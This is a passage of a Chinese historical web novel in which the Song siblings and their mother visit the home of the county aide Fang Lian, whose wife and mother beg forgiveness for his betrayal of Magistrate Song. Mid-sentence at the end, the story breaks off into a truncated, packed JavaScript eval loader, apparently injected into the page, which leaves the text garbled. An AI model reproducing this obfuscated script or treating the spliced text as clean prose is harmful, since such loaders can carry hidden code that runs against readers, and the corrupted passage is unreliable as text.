风乍起,吹得树叶簌簌作响,她再度回头,树丛中闪烁着几处明灭可见的萤火,可亭中仍是空空如也。
宋识皱了皱眉,犹豫道:“我觉得方涟可能没死。”
宋纪直截了当道:“没有可能,我打听过了,他三日前就死了。”
宋识思来想去,还是决定去方涟家中看看最为稳妥,于是停下脚步,“不管是不是圈套,我不信梅天梁胆子大到敢将我们也杀了。”
**
是夜。
墙头后突然冒出一颗脑袋,睁大双眼探向院中的每个角落。
拴在树下的黄狗趴在地上睡得正香,不像是埋伏了人的样子,宋纪转眸看向旁处,一扇半开的窗牖后亮着灯烛,看来主人家还未歇下。
狗吠声倏而撕破小巷深处的静寂,宋识见二哥跳落在地,便放下车帘,“娘,方涟家应当没问题。”
章氏闻言,左手拎起两包雉鸡肉,右手拎起两包丰糖糕,下车叩响门扉。
急促的狗吠声中,木门被缓缓打开一条缝。
章氏笑了笑,问向开门的人:“请问此处可是方涟方县丞的宅邸?”
站在门缝后的女子面露警惕,反复打量他们几遍后才道:“你们是?”
章氏笑道:“前些日子方县丞说他要出趟远门,唯独放心不下夫人与老夫人,于是登门拜访,托我们替他照看,本来前几日就要来的,奈何被家中事情耽搁。”
话音未落,女子脸色一变,想将门重新关上,得亏宋纪眼疾手快,用胳膊紧紧抵住。
“欢娘,是清涟回来了么?”
老妇人的声音虚弱至极,欢娘几经犹豫,还是回身跑向庭中,“娘,你怎么出来了?”
那脚步又虚又慢,只听欢娘支支吾吾道:“不……不是清涟,有位夫人自称受清涟之托,来探望我们。”
方母道:“既如此,为何不开门接迎?”
须臾,木门半敞。
方母在欢娘的搀扶下勉强站住,看到马车上挂的灯笼,她神情稍变,脸上深深浅浅的皱纹更为蜿蜒曲折,“你们是宋知县家的人吧?”
宋识纳闷道:“老夫人从未见过我们,怎知我们是宋知县的家人?”
方母眼中含泪,将他们迎进院后猛然跪下,“老身代孽子向宋知县赔罪,方涟千不该万不该做出对不起宋知县的事!”
“家母身有顽疾,不能断药,宋知县知我们手头拮据,便时常接济,宋夫人也常来府上送些吃穿之物,”欢娘也弯膝跪下,低声啜泣着:“没想到夫君恩将仇报,陷宋知县于危险境地,妾也替夫君向诸位及宋知县赔罪。”
欢娘哭哭啼啼的声音听得宋识越发心焦,干脆开门见山道:“两位现在赔罪也于事无补,不如直接带我们去庖屋,方县丞让我们取几样东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'','